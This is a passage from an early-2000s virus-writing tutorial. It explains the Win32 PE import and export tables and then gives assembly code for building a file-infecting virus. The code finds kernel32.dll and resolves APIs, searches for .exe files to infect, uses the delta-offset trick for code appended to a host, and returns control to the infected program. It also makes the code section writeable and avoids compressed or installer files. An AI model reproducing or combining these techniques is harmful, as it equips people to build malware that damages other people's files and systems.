00403000h is an 'RVA to a list of pointer to APIs names': this RVA is 00003058h so we go on 00403058h and we will found a list of (RVA)pointer. (the last pointer of the list is NULL). -At offset 00403058h is a first rva pointer: this values is 00003078h. so we go on 00403078h and we found 0,0,"MessageBoxA",0 ; This is the Name of the API (The first byte are not always null, but the last byte is null) -At offset 00403062h is a second rva pointer: this values is 00000000h. so it is the end of this list. -At offset 00403004h is an DATE/TIME value, no interest... -At offset 00403008h is the address of the .DLL (from which is imported MessageBoxA) so BFF50000h is the beginning of the .DLL and if you go on BFF50000h you will find the PE header of the .DLL (so the first two byte are "MZ") -At offset 004030Ch is the RVA pointer to .DLL name : here it is 0000303Ch so go on 0040303Ch and you will find "user32.dll",0 ;it is the name of the .DDL . so MessageBoxA is in user32.dll library. -At offset 00403010h is the RVA to API address list: 00003060h so go on 00403060h and you find a list of address of the API: -The 1st address is here: BFF5412Eh . So it is the entry point of the API "MessageBoxA" -The second address is null so it is the end of the list. So : mov eax,dword BFF5412Eh ---+-----> do the -------> call MessageBoxA call eax __/ same thing as the 'list of pointer to APIs names' and the 'list of API addresses' are two parralels list: example: the 3rd 'API name' in the 'list of pointer to APIs names' is relative to the 3rd 'address' in the 'list of API addresses'. Read several time this part of this article...I can't explain it better... ****************** * EXPORT SECTION * ****************** EXPORT section are found in .DLL file. When a .EXE is load, the loader write on his IMPORT section the APIs address founded in the EXPORT section of the .DLL The EXPORT section looks like: +---------------------------------------------------+ | EXPORT DIRECTORY TABLE | +---------------------------------------------------+ | Export Address Table | +---------------------------------------------------+ | Export Name Table Pointers | +---------------------------------------------------+ | Export Ordinal Table | +---------------------------------------------------+ | Export Name Table (API name list) | +---------------------------------------------------+ ************************** * EXPORT DIRECTORY TABLE * ************************** The export section begins with the Export Directory Table which describes the remainder of the export information. +-------------------------+-------------------------+ | EXPORT FLAGS | TIME/DATE | +-------------------------+-------------------------+ | MAJ\MIN VERSION | NAME RVA | +-------------------------+-------------------------+ | ORDINAL BASE | # EAT ENTRIES | +-------------------------+-------------------------+ | # NAME POINTERS | ADDRESS TABLE RVA | +-------------------------+-------------------------+ | NAME POINTER TABLE RVA | ORDINAL TABLE RVA | +-------------------------+-------------------------+ EXPORT FLAGS : currently set to 0 TIME/DATE STAMP : Time/Date the export data was created. MAJ\MIN VERSION : A user settable major/minor version number. NAME RVA : RVA of the DLL ASCII Name. ORDINAL BASE : First valid exported ordinal. This field specifies the starting ordinal number for the Export Address Table for this image. Normally set to 1. # EAT ENTRIES : Indicates number of entries in the Export Address Table. # NAME POINTERS : This indicates the number of entries in the Name Pointer Table (and parallel Ordinal Table). ADDRESS TABLE RVA : RVA of the Export Address Table. NAME POINTER TABLE RVA : RVA of the Export Name Table Pointers. This address is relative to the beginning of the Image Base. This table is an array of RVA's with #Names entries. ORDINAL TABLE RVA : RVA of Export Ordinals Table Entry. ************************ * Export Address Table * ************************ The Export Address Table contains list of dword of the address of exported entrypoints of the API of the .DLL . An ordinal number is used to index the Export Address Table. The Ordinal Base must be subtracted from the ordinal number before indexing into this table. ****************************** * Export Name Table Pointers * ******************************* The Export Name Table pointers array contains an address into the Export Name Table. The pointers are 32-bits each (DWORD), and are relative to the Image Base. The pointers are ordered lexically to allow binary searches. ************************ * Export Ordinal Table * ************************ The Export Name Table Pointers and the Export Ordinal Table form two parallel arrays, separated to allow natural field alignment. The export ordinal table array contains the Export Address Table ordinal numbers associated with the named export referenced by corresponding Export Name Table Pointers. The ordinals are 16-bits each (WORD), and already include the Ordinal Base stored in the Export Directory Table. ********************* * Export Name Table * ********************* The Export Name Table contains optional ASCII names for exported entries in the image. These tables are used with the array of Export Name Table Pointers and the array of Export Ordinals to translate a procedure name string into an ordinal number by searching for a matching name string. The ordinal number is used to locate the entry point information in the Export Address Table. Import references by name require the Export Name Table Pointers table to be binary searched to find the matching name, then the corresponding Export Ordinal Table is known to contain the entry point ordinal number. Import references by ordinal number provide the fastest lookup because searching the name table is not required. ASCII Strings are case sensitive and is terminated by a null byte. So let's take a look at kernel32.DLL (win98) after being load on memory by windows MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F BFF70000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.............. BFF70010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ................ BFF70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ BFF70030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ................ BFF70040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..............Th BFF70050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program.canno BFF70060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS. BFF70070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode............ BFF70080 50 45 00 00 4C 01 05 00 B4 C2 1F 37 00 00 00 00 PE.............. BFF70090 00 00 00 00 E0 00 0F 21 0B 01 03 0A 00 60 05 00 ................ BFF700A0 00 AA 01 00 00 00 00 00 6F 4B 01 00 00 10 00 00 ................ BFF700B0 00 90 05 00 00 00 F7 BF 00 10 00 00 00 10 00 00 ................ BFF700C0 04 00 00 00 01 00 09 00 04 00 00 00 00 00 00 00 ................ BFF700D0 00 50 07 00 00 04 00 00 98 C3 07 00 02 00 00 00 ................ BFF700E0 00 00 10 00 00 10 00 00 00 80 00 00 00 10 00 00 ................ BFF700F0 00 00 00 00 10 00 00 00 50 09 05 00 B5 4F 00 00 ................ BFF70100 00 00 00 00 00 00 00 00 00 D0 05 00 CC 76 01 00 ................ .DLL and .EXE have the same structure -at offset BFF70000h is the MZ signature -at offset BFF7003Ch is the new header relocation: 00000080h so we go on BFF70080h -at offset BFF70080h is the PE signature, the beginning of the PE header -at offset BFF700B7h is the image base: BFF70000h -at offset BFF700F8h is the RVA of the EXPORT section : 00050950h Go on BFFC0950h (BFF70000h + 00050950h) MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F BFFC0950 00 00 00 00 A0 C2 1F 37 00 00 00 00 72 28 05 00 BFFC0960 01 00 00 00 61 03 00 00 E9 02 00 00 78 09 05 00 BFFC0970 FC 16 05 00 A0 22 05 00 D4 13 00 00 D4 13 00 00 BFFC0980 D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 BFFC0990 D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00 It is the beginning of EXPORT section, the 20 first byte are the EXPORT DIRECTORY TABLE #1 , the 20 next byte are the EXPORT DIRECTORY #2 ,....., the EXPORT DIRECTORY TABLE #1 is: -At offset BFFC0950h are the flags : 00000000h -At offset BFFC0954h the time and date the kernel was load : 371FC2A0 -At offset BFFC0958h the version of the .DLL : 00000000h -At offset BFFC095Ch the name RVA :00052872h (BFFC2872h=image_base+this_RVA) -At offset BFFC0960h the ordinal base: 00000001h -At offset BFFC096Ch the ADDRESS TABLE RVA : 00050978h (BFFC0978h=image_base+RVA) -At offset BFFC0970h the NAME POINTER TABLE RVA : 000516FCh (BFFC16FCh=image_base+RVA) -At offset BFFC0974h the ORDINAL TABLE RVA : 000522A0h (BFFC22A0h=image_base+RVA) Let's see the kernel on memory at different address: ____________________________________________________________________________ NAME OF .DLL and API NAME LIST MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F BFFC2870 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 41 ..KERNEL32.dll.A BFFC2880 64 64 41 74 6F 6D 41 00 41 64 64 41 74 6F 6D 57 ddAtomA.AddAtomW BFFC2890 00 41 6C 6C 6F 63 43 6F 6E 73 6F 6C 65 00 41 6C .AllocConsole.Al BFFC28A0 6C 6F 63 4C 53 43 61 6C 6C 62 61 63 6B 00 locLSCallback. ____________________________________________________________________________ ADDRESS TABLE MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F BFFC0970 D4 13 00 00 D4 13 00 00 ........ BFFC0980 D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 ................ BFFC0990 D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00 ................ BFFC09A0 B6 17 02 00 BA 18 01 00 33 F7 01 00 DA 0B 01 00 ................ BFFC09B0 76 C5 00 00 3D B5 03 00 19 13 00 00 E8 E4 00 00 ................ BFFC09C0 E2 F5 02 00 62 CF 02 00 C0 CF 02 00 9A CF 02 00 ................ BFFC09D0 66 2B 02 00 9C B0 02 00 7A B3 02 00 3A B4 02 00 ................ BFFC09E0 8B AF 02 00 8F AF 02 00 93 AF 02 00 97 AF 02 00 ................ BFFC09F0 DB B3 02 00 DE B0 02 00 16 49 00 00 1C 97 02 00 ................ BFFC0A00 9E B3 02 00 87 AF 02 00 AE AF 02 00 74 1F 00 00 ................ BFFC0A10 AB 1F 00 00 A4 16 00 00 7A 15 00 00 A1 16 00 00 ................ BFFC0A20 5D 15 00 00 9E 16 00 00 14 14 00 00 39 16 00 00 ................ BFFC0A30 9B 16 00 00 C5 21 00 00 EE 21 00 00 1F 16 03 00 ................ ____________________________________________________________________________ API NAME POINTER TABLE MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F BFFC16F0 7F 28 05 00 .... BFFC1700 88 28 05 00 91 28 05 00 9E 28 05 00 AE 28 05 00 ................ BFFC1710 BE 28 05 00 CE 28 05 00 D9 28 05 00 E4 28 05 00 ................ BFFC1720 F0 28 05 00 F5 28 05 00 0A 29 05 00 1F 29 05 00 ................ ____________________________________________________________________________ ORDINAL TABLE MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F BFFC22A0 31 00 75 00 7A 00 7B 00 7C 00 7D 00 7E 00 7F 00 BFFC22B0 80 00 81 00 82 00 83 00 84 00 85 00 86 00 87 00 BFFC22C0 88 00 89 00 8A 00 8B 00 8C 00 8D 00 8E 00 8F 00 BFFC22D0 90 00 94 00 91 00 92 00 93 00 95 00 96 00 97 00 BFFC22E0 98 00 99 00 9A 00 9B 00 9C 00 9D 00 9E 00 9F 00 BFFC22F0 A0 00 A1 00 A2 00 A3 00 A4 00 A5 00 A6 00 A7 00 BFFC2300 A8 00 A9 00 AA 00 AB 00 AC 00 AD 00 AE 00 AF 00 ____________________________________________________________________________ Now I will try to explain how to find the address of the first API in the API Name list: API NAME POINTER TABLE and ORDINAL TABLE are two parallel table: the 1st API NAME POINTER has for ordinal the 1st ordinal in ORDINAL TABLE the 2nd API NAME POINTER has for ordinal the 2nd ordinal in ORDINAL TABLE . . . . . . . . . . . . . . . . . . . . . . . . . . look at the beginning of API NAME POINTER TABLE and ORDINAL TABLE * The first API NAME POINTER is: 0005287Fh (image_base+this_RVA=BFFC287Fh) So see on BFFC287Fh: you find the ASCII string "AddAtomA",0 ;it is a name of an API * The first ORDINAL NUMBER is: 0031h (49 in decimal) So here is a problem for me to explain it to you: Some doc about PE file format say that you you should do this substraction: ( ORDINAL_NUMBER - ORDINAL_BASE ) in order to find the right ordinal number. But I don't understand it and I think it don't works. Some say this: "The ordinals (WORD) already include the Ordinal Base stored in the Export Directory Table and are 0 based.". I think it's right so the first address on ADDRESS TABLE as for ordinal 0 the 2nd address on ADDRESS TABLE as for ordinal 1 the 3rd address on ADDRESS TABLE as for ordinal 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . so go on ordinal 0031h (49 in decimal) and you will find this address: 0003161Fh(at offset BFFC0A3Ch) .But don't forget to do this: 0003161Fh + image_base = 0003161Fh + 0BFF70000h = BFFA161Fh So the entry point (address) of the API 'AddAtomA' is BFFA161Fh !!!!!!!!! ============================================================= + ________ + + /\ |---\ | | | ____ + + / \ | | | --+----+-- | + + / \ |___/ | | | |____ + + /------\ | \ | --+----+-- \ + + / \ | \ | | | ____/ + + + ============================================================= ACCESING WIN32 APIs So we have see in the preview part that the problem for us is that kernel32.dll And the entry point of API are not always at the same place. So our objective is to find API address needed to run the virus: (like CreateFile, WriteFile,...) To do this you should Find only two API address: GetModuleHandle (or LoadLibraryA) and GetProcAddress. With them you can all the other API address you want... There is two way to find GetModuleHandle (or LoadLibraryA) and GetProcAddress Address: - By scanning the IMPORT section of the host file: The problem here is that is the file don't import GetModuleHandle and GetProcAddress so you can not find other API you need - By scanning the EXPORT section of kernel32.DLL The problem here is to find the image base (address) of kernel32.dll. In win9X the addresses of .DLL were written on IMPORT section of the .EXE but it is not the case on NT,2000,XP. So you can use this algo: -find IMPORT section RVA in PE OPTIONAL HEADER -find the first API address imported from kernel32.DLL -set edi=this address found -dec edi till you found the beginning of kernel32.dll ('MZ') this code is only an example to find "MZ" signature in kernel32.dll ;*************** scan_IMPORT: ;* ;*************** mov esi,[image_base+ebp] ; point on image base, this value should be ; set at link time and be change during ; infection if the prog as a different image ; base mov eax,esi ; add eax,3ch ; eax point on offset reloc_dword mov eax,[eax] ; add eax,esi ; eax point to the PE header add eax,128 mov eax,[eax] add eax,esi ; eax point to import table add eax,12 ; point to the .dll name ;****************** find_kernel32: ;* ;****************** xor ebx,ebx cmp dword[eax],ebx ; end of object table? je erreur ; if yes then end call is_it_kernel32 ; FIND ascii sting "kernel32.dll" cmp ecx,3 ; found? jae find_kernel_image_base ; if yes then find_kernel_image_base add eax,20 ; no then point to an other .DLL name jmp find_kernel32 ; ;************************ find_kernel_image_base:;* ;************************ mov eax,[eax+4] ; point to the list of API addresses pointer add eax,esi ; point to API addresses list mov eax,[eax] ; eax=address of the 1st API imported from ; kernel32.dll xchg edi,eax ;******************** find_MZ_in_kernel: ;* ;******************** ;so edi is an unknow address somewhere in kernel32.dll dec edi mov esi,edi cmp word[edi],"MZ" ; edi point to the beginning of kernel32.dll ? jne find_MZ_in_kernel ; if no then dec edi mov esi,[esi+3ch] ; verify if header_reloc_dword < 200h cmp esi,dword 200h ; in order not to crash the program ja find_MZ_in_kernel add esi,edi ; go on the new header cmp word[esi],"PE" ; PE header? jne find_MZ_in_kernel ; no! then dec edi add esi,52 ; point to image_base_dword cmp edi,dword[esi] ; compare image_base with pointer esi jne find_MZ_in_kernel ; not equal! then dec edi ; now edi=image base of kernel32.dll mov esi,edi ; now esi=image base of kernel32.dll add esi,3ch ; mov esi,[esi] ; add esi,edi ; esi point to the PE header add esi,120 mov esi,[esi] ; add esi,edi ; !!! esi point now to the EXPORT TABLE !!! ret ; ; NOW you should find address of GetModuleHandle and GetProcaddress ; in the EXPORT section. and with these two APIs you will find ; all you need !!!!! ; ; ; GOOD LUCK !!!!!!!!! ; ; ;****************** is_it_kernel32: ;* ;****************** xor ecx,ecx mov ebx,dword[eax] add ebx,esi ; ebx point to the name of the dll cmp dword[ebx],"Kern" ; jne az1 ; this code return ecx=3 if "Kernel32.DLL" inc ecx ; ASCII string is found. az1: ; cmp dword[ebx+4],"el32" ; But you should search too for: jne az2 ; "KERNEL32.DLL" inc ecx ; "kernel32.DLL" az2: ; "Kernel32.dll" cmp dword[ebx+16],".DLL" ; ... jne az3 ; ... inc ecx ; ... az3: ; ret ; This piece of code is not optimised in order to be easy understood. You should find your own way to code this part. ============================================================= + ________ + + /\ |---\ | | | ___ + + / \ | | | --+----+-- / + + / \ |___/ | | | /____ + + /------\ | \ | --+----+-- | \ + + / \ | \ | | | \___/ + + + ============================================================= HOW TO USE SOME APIs +++++++++++++++++++ + GetModuleHandle + +++++++++++++++++++ The GetModuleHandle function returns a module handle for the specified module if the file has been mapped into the address space of the calling process. push lpModuleName ; address of module name to return handle for call GetModuleHandleA Parameters: * IpModuleName Points to a null-terminated string that names a Win32 module (either a .DLL or .EXE file). If the filename extension is omitted, the default library extension .DLL is appended. The filename string can include a trailing point character (.) to indicate that the module name has no extension. The string does not have to specify a path. The name is compared (case independently) to the names of modules currently mapped into the address space of the calling process. If this parameter is NULL, GetModuleHandle returns a handle of the file used to create the calling process. Return Values If the function succeeds, the return value is a handle to the specified module. If the function fails, the return value is NULL _____________________________________________________________________________ +++++++++++++++++++ + GetProcAddress + +++++++++++++++++++ The GetProcAddress function returns the address of the specified exported dynamic-link library (DLL) function. push dword lpProcName ;name of function push dword [hModule] ;handle to DLL module call GetProcAddress Parameters * hModule Identifies the DLL module that contains the function. The LoadLibrary or GetModuleHandle function returns this handle. * lpProcName Points to a null-terminated string containing the function name, or specifies the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero. Return Values If the function succeeds, the return value is the address of the DLL's exported function. If the function fails, the return value is NULL. _____________________________________________________________________________ Example: push dword Kern ; address of .DLL ascii name to return his handle call GetModuleHandleA ; return eax=handle mov dword[handle],eax ; save handle push dword fct1 ; address of the ascii name of the API push dword[handle] ; handle of module call GetProcAddress fct1 db"WriteFile",0 Kern db "Kernel32.dll",0 handle dd 0 _____________________________________________________________________________ +++++++++++++++++ + FindFirstFile + +++++++++++++++++ The FindFirstFile function searches a directory for a file whose name matches the specified filename. FindFirstFile examines subdirectory names as well as filenames. push dword lpFileName ; pointer to name of file to search for push dword lpFindFileData ; pointer to returned information call FindFirstFileA Parameters * lpFileName: Points to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters (* and ?). This string must not exceed MAX_PATH characters. * pFindFileData: Points to the WIN32_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to the FindNextFile or FindClose function to refer to the file or subdirectory. Return Values If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose. If the function fails, the return value is INVALID_HANDLE_VALUE (-1 or 0FFFFFFFFh) Example: push dword Win32data ; add of structure of information about the file push dword exe_mask ; address of ascci name of the file to search call FindFirstFileA ; return in eax an search handle cmp eax,-1 ; je error ; error? file not found? mov dword[search_handle],eax ; save handle search_handle dd 0 exe_mask db"*.exe",0 Win32data: FileAttributes dd 0 ;attributes CreationTime dd 0,0 ;time of creation LastAccessTime dd 0,0 ;last access time LastWriteTime dd 0,0 ;last modification FileSizeHigh dd 0 ;filesize FileSizeLow dd 0 ; " Reserved0 dd 0 Reserved1 dd 0 FileName resb 260 ;long filename AlternateFileName resb 13 ;short filename _____________________________________________________________________________ ++++++++++++++++ + FindNextFile + ++++++++++++++++ The FindNextFile function continues a file search from a previous call to the FindFirstFile function. push dword Win32data ; address of Win32data push dword[hFindFile] ; handle to search call FindNextFileA Parameters * hFindFile Identifies a search handle returned by a previous call to the FindFirstFile function. * lpFindFileData Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to refer to the found file or directory. Return Values If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. Example: push dword Win32data ; address of Win32data push dword [search_handle] ; handle to search call FindNextFileA cmp eax,0 ; no more file? je error ; ____________________________________________________________________________ ++++++++++++++ + CreateFile + ++++++++++++++ The CreateFile function creates or opens the following objects and returns a handle that can be used to access the object: files, pipes , mailslots ,communications resources ,disk devices (Windows NT only) consoles ,directories (open only) example: push dword 0 push dword 0 push byte 3 ; OPEN_EXISTING flag: Opens the file. push dword 0 push dword 3 ; FILE_SHARE_READ n' FILE_SHARE_WRITE flags. push dword 0c0000000h ; flag for Read/Write access push dword FileName ; FileName address in win32data (File to open) call CreateFileA ; return eax=handle of the file mov [handle+ebp],eax ; save handle of the file inc eax ; jz erreur ; if eax=0ffffffffh then error _____________________________________________________________________________ See also the APIs CreateFileMapping MapViewOfFile OpenFileMapping UnmapViewOfFile MapAndLoad UnMapAndLoad CloseHandle SetEndOfFile SetFileTime WriteFile ReadFile SetFilePointer SetCurrentDirectory GetCurrentDirectory GetWindoxsDirectory ============================================================= + ________ + + /\ |---\ | | | _____ + + / \ | | | --+----+-- / + + / \ |___/ | | | / + + /------\ | \ | --+----+-- / + + / \ | \ | | | / + + + ============================================================= DELTA OFFSET I will now explain to you the DELTA OFFSET but first take a look at your first WIN32 program (hello.EXE) I you have understood how a PE .EXE file is made so you will understand that the code section begin at offset 00401000h (entry_point+image_base) (in a standard PE file, normaly linked) OFFSET | OPCODE IN HEX VALUE | CODE ----------|----------------------------------|---------------------- 00401000h | 6A00 | push byte 0 00401002h | 681A104000 | push dword caption 00401007h | 6834104000 | push dword text 0040100Ch | 6A00 | push byte 0 0040100Eh | E8ED0F0000 | call MessageBoxA 00401013h | 6A00 | push byte 0 00401015h | E8EC0F0000 | call ExitProcess 0040101Ah | 596F757220666972737420 | caption db "Your first | 57494E33322070726F6772616D6D00 | WIN32 programm",0 00401034h | 48454C4C4F00 | test db "HELLO",0 look now at offset 00401002h , you see that : 68 1A104000 | | +--------------------+ | | | +--------------------------+ +-----------+ | push on stack the dword | | 0040101Ah | +-------------+------------+ +-----------+ | push dword | | caption | +------------+ +-----------+ Did you see our problem ? NO ! so imagine that you put this piece of code at the end of one another file (like a virus do) , so the code will not run because the address of "caption" label has change ! ! ! It will not run for a second reason: The IMPORT section is not the same... The delta offset technique is the most used: call delta ; (push eip) delta: pop ebp ; (ebp=eip) sub ebp,dword delta when you make a CALL the value of the EIP register is push on stack so you pop him (pop ebp) and sub him to the dword 'offset delta' and now ebp point to delta label (ebp=offset delta) so the code: mov eax,dword label1 mov ebx,dword[label2] should be change in : call delta delta: pop ebp sub ebp,dword delta lea eax,[label1+ebp] mov ebx,dword[label2+ebp] CLEAR ? ? ? There is other technique to do the same thing with no use of the delta technique... Note that you can do this too: call delta delta: pop edx sub eax,dword delta ... ... ... lea eax,[label1+edx] mov ebx,dword[label2+edx] but the register edx should never change in all your code ! ! ! ============================================================= + ________ + + /\ |---\ | | | ____ + + / \ | | | --+----+-- / \ + + / \ |___/ | | | \____/ + + /------\ | \ | --+----+-- / \ + + / \ | \ | | | \____/ + + + ============================================================= RETURN TO THE HOST A WIN32 PE .EXE file begin with eax=program_entry_point. To return to the host it's very simple: virus_begin_here: pushad ; save registers on stack ; ; INFECT FILES ! ; mov eax,dword[image_base+ebp] ; add eax,dword[original_entry_point+ebp] ; mov dword[jump+ebp+1],eax ; simulate a jmp to original entry ; point popad ; restore registers jump: db 68h,0,0,0,0 ; simulate push word[address_of_original_entry_point+ebp] ret ; return to the host !!!!!!! ============================================================= + ________ + + /\ |---\ | | | ____ + + / \ | | | --+----+-- / \ + + / \ |___/ | | | \____/ + + /------\ | \ | --+----+-- / + + / \ | \ | | | __/ + + + ============================================================= ************************** * CODE SECTION WRITEABLE * ************************** when you code a virus you put your code, data, idata in only one section (in the code section) But when the linker link your vx it create a 'non writeable' code section so you have to change the flag of your code section (in object table) quick view in hexadecimal: when you link an 'normal' program, the code section looks like (in object table): 00000160 43 4F 44 45 00 00 00 00 CODE.... 00000170 00 10 00 00 00 10 00 00 CF 00 00 00 00 04 00 00 ................ 00000180 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 ................ at offset 18Ch you see the flag: 60000060h 200000000h Executable object + 400000000h Readable object + 000000020h Code object + 000000040h Initialized data object ---------- 60000060h so with this flag you can't write on this section , so change the flags!!! (don't forget to inverse the byte of the dword !!) ******************** * REDUCE YOUR CODE * ******************** You can optimise your code for two reasons: - To have a code which run faster. - To have the smallest code possible. Theses two aspect of optimisation are very interesting for a virus, but I will speak here only about how to have the smallest code possible. Of course you can use some old trick like : (read old V zine) xor eax,eax instead of push dword 0 push eax . push dword 0 push eax . push dword 0 push eax . or eax,eax instead of cmp eax,0 jz go_somewhere . je go_somewhere xor eax,eax instead of mov eax,4 mov al,4 . jecxz go_away instead of cmp ecx,0 . je go_away But I will not tell you here how to minimize your op codes...Let's read zine. Imagine now that you have minimize your op codes to the maximum ! You can still reduce your code...HOW? take a look at your buffers, they take an enormous place in your code. I think to the Win32Data buffer for example. Win32data: FileAttributes dd 0 CreationTime dd 0,0 LastAccessTime dd 0,0 LastWriteTime dd 0,0 FileSizeHigh dd 0 FileSizeLow dd 0 Reserved0 dd 0 Reserved1 dd 0 FileName resb 260 AlternateFileName resb 13 317 bytes long !!!!! The trick is not to put your buffer in the code but in memory. To do that you need an API to allocate memory: You can use GlobalAlloc. ;------------------------------------------------------------------------------; push dword 317 ; nb of byte to allocate ; push dword 40h ; ZERO_INIT flag ; call [XGlobalAllocX+ebp] ; [XGlobalAllocX] is the address of ; ; GlobalAlloc API you have found after ; ; scanning IMPORT or EXPORT table ; mov dword[mem_alloc+ebp],eax ; save the offset of the allocated memory ; ;------------------------------------------------------------------------------; Ok. Now you have allocated some memory for your Win32DATA. Use this memory_buffer like this: ;---------------------------------------------------------------------------; ;******************** ; find_first: ;** ; ;******************** ; mov eax,[mem_alloc+ebp] ; ; push eax ; offset of Win32 in memory ; lea eax,[exe_mask+ebp] ; ; push eax ; file to find ; call dword [XFindFirstFileAX+ebp] ; search! ; mov dword[search_handle+ebp],eax ; save handle ; ret ; exe_mask db "*.exe",0 ; search_handle dd 0 ; ; ;---------------------------------------------------------------------------- use push dword[mem_alloc+ebp] to free the memory call [XGlobalFreeX] If you have a lot of buffer you can reduce your code by 400 or 500 bytes ! It is not very hard to adjust your code. Cool isn't it? ********************** * COMPRESSED PE FILE * ********************** Some PE .EXE are compressed by some software like UPX. It's cool when you want to reduce the size of the .EXE ( to put in an download area on the web for example) I know only 3 way to check them: - number of APIs imported: in a PE .EXE compressed file, the import section contains only a few APIs imported. You can check the number of APIs imported from kernel32.dll and you should avoid the infection if the file imports less than 7,8 or 10 APIs - flags of the section in object table... Some PE compressor set special flag of the section in the object table - ASCII name of the file You can check if the file name contains those words: setup, install, ... You should not infect those type of file !!!!!!!!!! ========================================================================== ========================================================================== I hope that this tutorial will help you but don't forget this: DON'T DESTROY ANYTHING !!! PEACE ! LiTlLe VxW October 2002